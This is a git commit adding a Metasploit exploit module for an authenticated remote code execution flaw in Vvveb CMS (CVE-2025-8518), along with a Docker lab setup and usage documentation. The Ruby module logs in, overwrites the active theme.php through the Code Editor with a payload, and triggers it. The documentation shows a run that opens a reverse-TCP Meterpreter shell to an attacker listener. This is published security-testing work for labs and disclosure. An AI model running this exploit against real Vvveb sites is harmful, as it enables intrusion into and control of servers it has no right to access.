Add Vvveb CMS Authenticated RCE (CVE-2025-8518)

This commit is contained in:
vognik
2025-10-18 17:12:05 -07:00
parent 52f07b6820
commit 9ad83f6454
6 changed files with 417 additions and 0 deletions
+25
View File
@@ -0,0 +1,25 @@
FROM php:8.3-fpm
RUN apt-get clean && apt-get update && \
apt-get install -y \
wget unzip \
libicu-dev \
libfreetype6-dev \
libjpeg62-turbo-dev \
libxml2-dev \
libwebp-dev \
libpng-dev \
libzip-dev \
libonig-dev \
libcurl4-openssl-dev && \
docker-php-ext-configure gd --with-webp --with-jpeg && \
docker-php-ext-install -j$(nproc) gd xml dom curl mbstring intl gettext zip mysqli && \
pecl install apcu && docker-php-ext-enable apcu && \
rm -rf /var/lib/apt/lists/*
WORKDIR /var/www/html
RUN wget https://github.com/givanz/Vvveb/releases/download/1.0.5/latest.zip && \
unzip latest.zip && rm latest.zip
COPY php.ini /usr/local/etc/php/php.ini
@@ -0,0 +1,43 @@
services:
php:
build: .
container_name: vvveb-php
volumes:
- vvveb_html:/var/www/html
networks:
- vvveb-net
nginx:
image: nginx:stable
container_name: vvveb-nginx
ports:
- "8080:80"
volumes:
- ./nginx.conf:/etc/nginx/conf.d/default.conf
- vvveb_html:/var/www/html:ro
depends_on:
- php
networks:
- vvveb-net
mysql:
image: mysql:5.7
container_name: vvveb-mysql
restart: unless-stopped
environment:
MYSQL_ROOT_PASSWORD: root
MYSQL_DATABASE: vvveb
MYSQL_USER: vvveb
MYSQL_PASSWORD: vvveb
volumes:
- db_data:/var/lib/mysql
networks:
- vvveb-net
networks:
vvveb-net:
driver: bridge
volumes:
db_data:
vvveb_html:
+21
View File
@@ -0,0 +1,21 @@
server {
listen 80;
server_name localhost;
root /var/www/html;
index index.php index.html;
location / {
try_files $uri $uri/ /index.php?$args;
}
location ~ \.php$ {
try_files $uri =404;
fastcgi_split_path_info ^(.+\.php)(/.+)$;
fastcgi_pass php:9000;
fastcgi_index index.php;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param PATH_INFO $fastcgi_path_info;
}
}
+5
View File
@@ -0,0 +1,5 @@
display_errors = On
memory_limit = 512M
upload_max_filesize = 64M
post_max_size = 64M
max_execution_time = 300
@@ -0,0 +1,76 @@
## Vulnerable Application
[Vvveb CMS](https://github.com/givanz/Vvveb) is vulnerable to Code Injection via the Code Editor functionality.
Unsanitized editing functionality allows attacker-controlled changes to existing files on the web-accessible filesystem,
allowing remote authenticated attackers with access to the Code Editor to achieve code execution
when those modified files are executed or served by the application or web server.
This vulnerability affects Vvveb CMS versions up to and including 1.0.5.
Successful exploitation may result in the remote code execution under the privileges
of the web server, potentially exposing sensitive data or disrupting survey operations.
An attacker can execute arbitrary system commands in the context of the user running the web server.
## Testing
1. Open `data/exploits/CVE-2025-8518` folder and use Docker Compose to set up the Vvveb CMS app
`docker compose up -d --build`
2. Open http://127.0.0.1:8080/ and make sure the app is available
3. Fill in the installation form with the following details:
Database engine: MySQL / MariaDB
Database host: mysql
Database name: vvveb
Database username: root
Database password: root
4. On the next form, you need to enter the admin password or provide your own.
5. Log in with your credentials at http://127.0.0.1:8080/admin
Username: admin
Password: the one you provided in the previous step
## Scenario
### php/meterpreter/reverse_tcp
```
msf6 > use multi/http/vvveb_auth_rce_cve_2025_8518
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/vvveb_auth_rce_cve_2025_8518) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/vvveb_auth_rce_cve_2025_8518) > set RPORT 8080
RPORT => 8080
msf6 exploit(multi/http/vvveb_auth_rce_cve_2025_8518) > set PASSWORD 12345
PASSWORD => 12345
msf6 exploit(multi/http/vvveb_auth_rce_cve_2025_8518) > set LHOST 172.17.0.1
LHOST => 172.17.0.1
msf6 exploit(multi/http/vvveb_auth_rce_cve_2025_8518) > run verbose=true
[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Fetching CSRF token...
[+] Token successfully fetched:
[*] Attempting login...
[+] Login successful
[*] Checking version...
[+] The target appears to be vulnerable. Detected version 1.0.5, which is vulnerable
[*] Identifying the active theme path...
[+] Theme path successfully identified: /public/themes/blog-default/theme.php
[*] Setting up payload...
[+] Payload setup complete
[*] Triggering payload...
[*] Sending stage (40004 bytes) to 172.24.0.3
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.24.0.3:59256) at 2025-10-18 20:08:08 -0400
meterpreter > sysinfo
Computer : 0c6eb9a3e896
OS : Linux 0c6eb9a3e896 6.11.2-amd64
Meterpreter : php/linux
meterpreter > getuid
Server username: www-data
```
@@ -0,0 +1,247 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Remote Code Execution Vulnerability in Vvveb (CVE-2025-8518)',
'Description' => %q{
Vvveb CMS is vulnerable to Code Injection via the Code Editor functionality.
Unsanitized editing functionality allows attacker-controlled changes to existing files on the web-accessible filesystem,
allowing remote authenticated attackers with access to the Code Editor to achieve code execution
when those modified files are executed or served by the application or web server.
This vulnerability affects Vvveb CMS versions up to and including 1.0.5.
Successful exploitation may result in the remote code execution under the privileges
of the web server, potentially exposing sensitive data or disrupting survey operations.
An attacker can execute arbitrary system commands in the context of the user running the web server.
},
'License' => MSF_LICENSE,
'Author' => [
'Maksim Rogov', # Metasploit Module
'Hamed Kohi' # Vulnerability Discovery
],
'References' => [
['CVE', '2025-8518'],
['URL', 'https://hkohi.ca/vulnerability/8']
],
'Platform' => ['php'],
'Arch' => [ARCH_PHP],
'Targets' => [
[
'PHP',
{
'Platform' => ['php'],
'Arch' => ARCH_PHP
# Tested with php/meterpreter/reverse_tcp
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2025-01-10',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'Path to Vvveb CMS', '/admin/']),
OptString.new('USERNAME', [true, 'The username used to authenticate to Vvveb CMS', 'admin']),
OptString.new('PASSWORD', [true, 'The password used to authenticate to Vvveb CMS', ''])
]
)
end
def get_csrf_token
print_status('Fetching CSRF token...')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'method' => 'GET',
'keep_cookies' => true
)
fail_with(Failure::Unreachable, "#{peer} - No response from web service") unless res
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP code #{res.code}") unless res.code == 200
html = res.get_html_document
csrf_input = html.at('input[name="csrf"]')
unless csrf_input
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to extract CSRF token")
end
token = csrf_input.attributes.fetch('value', nil)
if token.blank?
fail_with(Failure::UnexpectedReply, "#{peer} - CSRF token is empty")
end
print_good("Token successfully fetched: #{token}")
return token.to_s
end
def login
csrf_token = get_csrf_token
print_status('Attempting login...')
post_data = Rex::MIME::Message.new
post_data.add_part(csrf_token, nil, nil, 'form-data; name="csrf"')
post_data.add_part('', nil, nil, 'form-data; name="redir"')
post_data.add_part(datastore['USERNAME'], nil, nil, 'form-data; name="user"')
post_data.add_part(datastore['PASSWORD'], nil, nil, 'form-data; name="password"')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'method' => 'POST',
'keep_cookies' => true,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'vars_get' => { 'module' => 'user/login' },
'data' => post_data.to_s
)
fail_with(Failure::Unreachable, "#{peer} - No response from web service") unless res
fail_with(Failure::NoAccess, "#{peer} - Incorrect credentials - #{datastore['USERNAME']}:#{datastore['PASSWORD']}") if res.body.include?('wrong email or password')
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP code #{res.code}") unless res.code == 302
@logged_in = true
print_good('Login successful')
end
def get_active_theme_path
print_status('Identifying the active theme path...')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'GET',
'vars_get' => { 'module' => 'theme/themes' }
)
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP code #{res.code}") unless res.code == 200
active_theme = res.get_html_document.at('div.list-card.active')
if active_theme.blank?
fail_with(Failure::UnexpectedReply, "#{peer} - Card with the active theme was not found")
end
theme_preview = active_theme.at('.card-img-top img').attributes.fetch('src', nil)
if theme_preview.blank?
fail_with(Failure::UnexpectedReply, "#{peer} - Preview of the active theme card was not found")
end
theme_dir = File.dirname(theme_preview)
theme_path = theme_dir + '/theme.php'
print_good("Theme path successfully identified: #{theme_path}")
return theme_path
end
def get_theme_content(theme_path)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'GET',
'vars_get' => {
'module' => 'editor/code',
'action' => 'loadFile',
'type' => 'themes',
'file' => theme_path
}
)
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP code #{res.code}") unless res.code == 200
return res.body
end
def set_theme_content(theme_path, content)
post_data = Rex::MIME::Message.new
post_data.add_part(content, nil, nil, 'form-data; name="content"')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'vars_get' => {
'module' => 'editor/code',
'action' => 'save',
'type' => 'themes',
'file' => theme_path
},
'data' => post_data.to_s
)
if !res.nil? && res.code != 200
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP code #{res.code}")
end
end
def trigger_payload(_theme_path)
print_status('Triggering payload...')
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'GET',
'vars_get' => {
'module' => 'editor/editor',
'url' => '/',
'template' => 'index.html'
}
)
end
def set_payload(theme_path)
print_status('Setting up payload...')
set_theme_content(theme_path, payload.encoded)
print_good('Payload setup complete')
end
def check
login
print_status('Checking version...')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'GET',
'vars_get' => { 'module' => 'tools/systeminfo' }
)
fail_with(Failure::Unreachable, "#{peer} - No response from web service") unless res
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP code #{res.code}") unless res.code == 200
version_td = res.get_html_document.at('tr:has(th:contains("Vvveb version")) td')
if version_td.nil?
fail_with(Failure::UnexpectedReply, "#{peer} Failed to find Vvveb version")
end
version = Rex::Version.new(version_td&.text&.strip)
if version <= Rex::Version.new('1.0.5')
return CheckCode::Appears("Detected version #{version}, which is vulnerable")
end
return CheckCode::Safe("Detected version #{version}, which is not vulnerable")
end
def cleanup
set_theme_content(@theme_path, @default_theme_content) unless @theme_path.nil? && @default_theme_content.nil?
super
end
def exploit
login unless @logged_in
@theme_path = get_active_theme_path
@default_theme_content = get_theme_content(@theme_path)
set_payload(@theme_path)
trigger_payload(@theme_path)
end
end